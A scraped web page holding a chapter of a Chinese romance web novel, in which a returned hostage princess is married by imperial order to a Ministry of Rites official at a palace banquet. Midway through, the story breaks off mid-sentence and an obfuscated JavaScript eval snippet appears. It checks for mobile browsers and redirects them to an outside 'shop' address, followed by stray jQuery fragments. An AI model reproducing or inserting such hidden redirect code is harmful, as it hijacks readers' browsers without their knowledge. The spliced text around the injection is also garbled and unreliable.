默认冷灰
24号文字
方正启体

2. 宫宴赐婚

作者:甜心睡不醒本书字数:K更新时间:
    不同于她的镇定自若,霁云瞬间怒气冲天,她难以置信地瞧着手书上潦草小字:“赐婚?可公主才归国,皇上便这么急着赐婚?”


    “还有……哪怕是寒门士子也要答应?公主天潢贵胄,怎可赐婚寒门!”


    唐熙宁心中倒是已有定论,她于国家危难之际挺身而出,远赴敌国为质七年,自是美名远扬,她父亲襄亲王又军功赫赫,自古以来功高盖主鸟尽弓藏,恐怕是皇帝疑心病犯了。


    不过此话不能直言,看着霁云气恼模样,她只能宽慰:“既来之则安之。”


    其实也是为了宽慰自己。


    本就距京城不远,不消一个时辰便入了宫。风雪渐大,宫墙与冬日阴沉天空相连,显得更为幽深可怖。唐熙宁看着深宫高墙只觉无比陌生,和七年前相比变了好多,又什么都没变。


    李怀霄并未开口催促,只是在她身侧静静陪伴。过了许久他才淡然询问:“公主是否已然知晓皇上今晚欲给您赐婚之事?”


    唐熙宁回神后眼眸微沉,她眼底闪过寒光,上下扫视李怀霄。


    此事在未公布前,向来是宫中秘事,他这小小礼部侍郎如何知晓的?莫非刻意留意,时时窥探,方才快马送来书信后他偷听她与霁云讲话了?


    唐熙宁面带愠色,朱唇微扬:“李侍郎何意?此乃宫中秘事,莫非侍郎胆大到在内宫中安插眼线?亦或是偷听本公主谈话?”


    李怀霄闻言愣怔片刻,脸上带着几分悠然戏谑:“公主说笑了,微臣只是想提醒公主,以免面圣时错悟圣心。况且此事稍加思索便有定论,微臣还没有笨到推断不出。”


    唐熙宁眉头微蹙,看着李怀霄戏谑眼神,她步步走近轻哼一声:“李侍郎言下之意,是说本公主笨?还是自比诸葛啊?”


    李怀霄眼眸微闪,声音冷淡难辨情绪,可面上依旧风轻云淡。


    “公主颖悟绝伦,自能明白微臣之意。公主为质七年护国有功,美名在坊间广为流传,您父亲襄亲王又手握兵权,只是有时却非好事,功高盖主的下场不必多说。”


    “微臣只是想提醒公主,皇上真要赐婚,面上也是由公主挑选,公主届时多放眼在寒门文臣上,世家子弟尽量还是不要选了,以免引得疑心。”


    李怀霄这话倒是中肯,只是他为何要帮她?


    唐熙宁疑声问:“为何帮本公主?”


    李怀霄并未回答,只是幽深望向她的眼眸,许久才移开视线,望着宫殿楼宇道:“公主该走了,莫让皇上大臣们等急。”


    他不愿提唐熙宁索性不问,她理好思绪迈步前行。大殿前石阶众多,光是走便用了一盏茶功夫,未到宫殿先闻丝竹管乐之声,大殿一片祥和,殿内尚有歌舞助兴。


    殿前太监见她驾临,连忙尖声通传:“华晏公主到——”


    殿内歌舞这才堪堪停下,唐熙宁顺着走入大殿,殿内文武百官皆在,目光俱落在她一人身上。殿堂高坐的人便是皇上,只是和唐熙宁印象中的那个皇帝伯父大为不同。


    他年过五十便满头白发,看着苍老许多,只是双眼依旧如鹰隼般摄人心魄。


    她走入大殿行礼:“熙宁拜见皇上。”


    许是头发花白,所以皇帝显得格外慈眉善目,他笑道:“熙宁快快请起,当日一别竟七年才得以相见。你可是景国的功臣,没有你在安国为质,为景国换得时间,也不会有如今国力日盛百姓安居乐业的日子。”


    唐熙宁微微一笑推辞:“身为公主便要为国奉献,此乃熙宁之责,不值一提。如今景国国力日盛雄踞北方,皆乃陛下勤政之功。”


    “好了,熙宁切勿推脱。快快落座,就坐在你父亲身旁。”


    “谢皇上!”


    唐熙宁落座后重开宴席,乐师指尖轻拨重弹琵琶,宫伎随乐声翩然起舞,宫女端着精美佳肴上菜,席间一片祥和。


    只是唐熙宁身侧只坐着父亲和小妹,唯独不见母亲。父亲依旧神采奕奕,只是平添了些皱纹,鬓角斑白了点


    她问:“父亲,母亲呢?”


    襄亲王压低声音道:“你母亲自你走后便相思成疾落下病根,前些日子又染风寒,近日雪大风疾不宜出府,她在府内歇息。”


    “熙宁……知晓了。”


    唐熙宁心里如同被生剜一块肉,坠坠的疼。本以为归国后可一家团圆,谁知当日一别母亲竟落下病根。席间大臣众多,她纵使难过,也只能忍耐下来。


    当时一别小妹还是孩子,如今已然及笄。她穿着身鹅黄衣裙,一颦一笑皆灵动活泼,唐熙宁轻轻抚摸她的发丝,声音有些哽咽:“熙歌,想阿姐吗?”


    唐熙歌钻进她怀中撒娇:“阿姐,一别多年,差点要忘记阿姐长相,幸得府中有阿姐画像,这才不至忘记。”


    唐熙宁捏着她的脸颊,装作不满地兴师问罪:“没有画像便不记得阿姐了?”


    “当然记得!熙歌要阿姐天天陪着,一人真真无聊透顶了。阿姐,熙歌好想你!”


    “阿姐也想你!”


    席间推杯换盏,不时有朝臣向唐熙宁敬酒,不过大多都被襄亲王拦下:“小女不胜酒力,诸君要敬便由本王这个父亲代喝。”


    唐熙宁也乐得自在,她并未劝说,反而笑着打趣:“那父亲今晚怕是要不醉不归了。”


    朝臣皆捧着酒杯大笑:“今晚定让王爷喝个尽兴。”


    唐熙宁看着他们喝酒,顺便观察席间众人。她又想起暗杀之事,黑衣人在城郊都敢暗杀,且有内官拦着奉迎使耽误迎接时辰,内官乃皇帝身边人,什么人能劳动内官?


    或许其中有高位授意,不过唐熙宁不敢多想。


    如今看似太平,她却只觉不安。这朝堂便犹如江水,表面风平浪静,底部暗石丛生,稍有不慎便会坠入江底万劫不复。


    “熙宁?”


    想得出神时,突然被叫名讳,她循声望去只见皇帝喝得醉醺醺,眼神也有些迷离,他晃晃悠悠举杯。


    唐熙宁连忙回敬,起身上前道:“熙宁在此。”


    “你太子哥哥早已成婚,如今宗亲中便数你年长,明年五月便二十……”


    皇帝顿了顿,似乎在思量她年岁几何。看起来真是醉了,便是连她年龄都已然忘记。


    唐熙宁无奈回道:“二十有二。”


    “那便数你年长,今日席间群臣皆在,文臣武将、世家贵族,你放眼挑挑。看中哪家公子,朕亲自为你指婚。”


    还真要给她赐婚啊!


    她敏锐发觉不对之处,皇帝酒量颇好,还不至宴中便醉成这样。她下意识去看她父亲,襄亲王却满脸无奈,微微摇头示意她不要拒绝。


    唐熙宁放眼望去,席间皆是勋贵但也不乏寒门。她今日断断不能拒绝,可真让她选,一时又抉择不出,只能佯装打量暗自思衬,分析当前局势。


    她今日归国,百姓对她呼声极高,因


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038016|194665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着为质七年的功劳更是口碑载道。


    她父亲襄亲王军功赫赫,攻打安国半年便直指京师,只差一步便可拿下安国。亲王手握兵权便是天子大忌,更何况襄亲王素以仁爱闻名。


    且襄亲王与皇帝一母同胞,当年太上皇最属意襄亲王继位。只是襄亲王以不愿兄弟相争为名主动退让,疑心生暗鬼,朝堂之上最不缺猜忌与算计。


    这无异于是把唐熙宁架在火上烤,武将是万万不能挑选的,世家勋贵更是不能,除非挑选寒门出身的才能暂时消减帝王疑心。可她方才归国,哪里清楚知晓朝中众臣情况。


    唐熙宁久久未答话,皇帝反倒替她指了人:“熙宁从小便是美人胚子,自然是世间长相才情俱佳的男子才配得上,不如就……礼部侍郎吧。”


    礼部侍郎?


    那不正是来接她的李怀霄吗?


    唐熙宁顺着方向望去,入眼之人恰是李怀霄。李怀霄眉头微蹙,望向她时亦是满脸诧异,好似完全未料到被赐婚之人会是自己。


    宴会主要目的便在此了,本以为是接风宴谁知是鸿门宴。不答应万万不妥,答应得太快也不妥,面上总要装装,她佯装打量李怀霄相貌,上前几步到他面前,抽出手帕搭在手上,抬手勾着李怀霄下巴。


    李怀霄眼里带着震惊不解还有一丝类似庆幸的眼神,不过仅一眼便立马低头,唐熙宁并未看清他的神色。


    他端的是清冷风范,耳垂却渐渐发红,不知是醉了还是热的。


    他微微退后一步,和唐熙宁保持礼节内的距离,用只有他们能听到的声音磕磕巴巴道:“公,公主请……自重!”


    唐熙宁上下打量他,难以理解这种文臣整日想的都是什么,且不说她只是挑挑下巴看他模样生得如何,就是再过分点又能怎样。


    唐熙宁笑着将手帕扔到他脸上,醉人香气扑鼻而来,李怀霄像失了魂魄似的,手忙脚乱将手帕攥在手心。


    唐熙宁倒不是看不上文臣,可她并无成婚之意,也并不想与不爱之人成婚,更不想被迫成婚。可她父亲如今有功高盖主之嫌,她再不情愿也只能装作欣喜万分。


    唐熙宁上前几步叩谢:“皇上眼光极好,熙宁答应,熙宁愿意,熙宁欣喜。”


    闻言,皇帝和众臣都喜笑颜开,朝臣们纷纷祝贺,一时热闹无比。不过亦有部分臣子觉得不妥,他们为唐熙宁这个最尊贵的公主下嫁感到唏嘘,却不敢高声抵制。


    “不可,臣有异议!”


    窃窃私语中突然有人高声反驳,众人纷纷望去,只见席间走出一位翩翩少年郎。唐熙宁定睛一看便认出是定国公之子江淮是,也是她的青梅竹马。


    江淮是跪在殿上,他对席间暗流涌动仿若毫无察觉,也不看皇帝神色,只自顾自解释:“公主天潢贵胄,李怀霄出身寒微。他乃礼部侍郎,一介文臣,官职又不高。且无父无母出身寒门,完全靠科举升上来,怎配得上公主?”


    “且臣同公主青梅竹马,臣爱慕公主久矣,望皇上成全臣爱慕之心。”


    此话一出大殿顿时寂然无声,大臣们噤若寒蝉,个个如坐针毡,面面相觑。


    皇帝面色阴沉看起来很不悦,就连唐熙宁都提了口气,她知道江淮是看得清局势,此时如此只是顾及着与她的往日情分,不想她草草嫁与寒门之人受苦,不想她嫁与不爱之人罢了。


    可她方才答应,江淮是便立马来求亲,这不是打皇帝的脸吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)